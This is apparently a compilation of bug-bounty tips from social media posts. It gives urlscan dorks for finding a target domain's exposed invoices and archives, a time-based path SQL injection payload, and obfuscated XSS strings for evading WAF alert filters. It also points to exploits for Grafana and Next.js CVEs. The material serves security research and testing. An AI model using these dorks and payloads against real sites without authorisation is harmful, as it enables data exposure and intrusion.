You can also use these awesome Urlscan dorks to find publicly exposed invoices, PDFs, ZIP files, and other sensitive files belonging to your target domain.
page.mimeType:"application/pdf" AND page.url:invoice
target.com AND page.mimeType:"application/pdf" AND page.url:invoice
apple.* AND page.mimeType:"application/zip"
If you want to learn more powerful urlscan dorks and master urlscan search, watch this video:
piped.video/I-J5Ht9goyc
Just dropped a new video on Web Cache Deception to Account Takeover packed with powerful bypass techniques. Don’t miss it!
piped.video/Epzi1fWwdKk?si=UPbF…
Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay
/page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty#SQLi#WebSec
95% of self-XSS vulns are exploitable. In cases of OAuth or a page containing sensitive information + login/logout CSRF -> ATO or info leak. I’ve previously tweeted a white box challenge based on a real-world example, you can practice with it :]
Bug Bounty Tip
You can use these tricks to bypass the `alert` block by XSS WAF
- (function(x){this[x+`ert`](1)})`al`
- window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
- document['default'+'View'][`\u0061lert`](3)
I noticed someone released a tool for CVE-2025-4123 in Grafana.
But let me clear this up. it's not as simple as adding a payload after /public/.
That won’t exploit anything. Here's why 👇
I've included all the proven 403 bypass techniques that consistently work in real-world scenarios. After reading this write-up you won't need to refer to any other article or video on the topic anymore..i will update more things in it soon..
osintteam.blog/the-ultimate-…
The article is finally out guys!
I’ve written a detailed guide on XML-RPC vulnerabilities covering everything you need to know. I even sacrificed my own site to create a proper poc so you can understand it more better
infosecwriteups.com/how-hack…
A XSS payload with Alert Obfuscation, for bypass RegEx filters
<img src="X" onerror=top[8680439..toString(30)](1337)>
<script>top[8680439..toString(30)](1337)</script>
#infosec#cybersec#bugbountytip#BugBounty
Use Vulhub to reproduce Next.js Middleware Authorization Bypass (CVE-2025-29927)
github.com/vulhub/vulhub/tre…
First screenshot 👉 Unauthorized and direct to login page
Second screenshot 👉 Bypass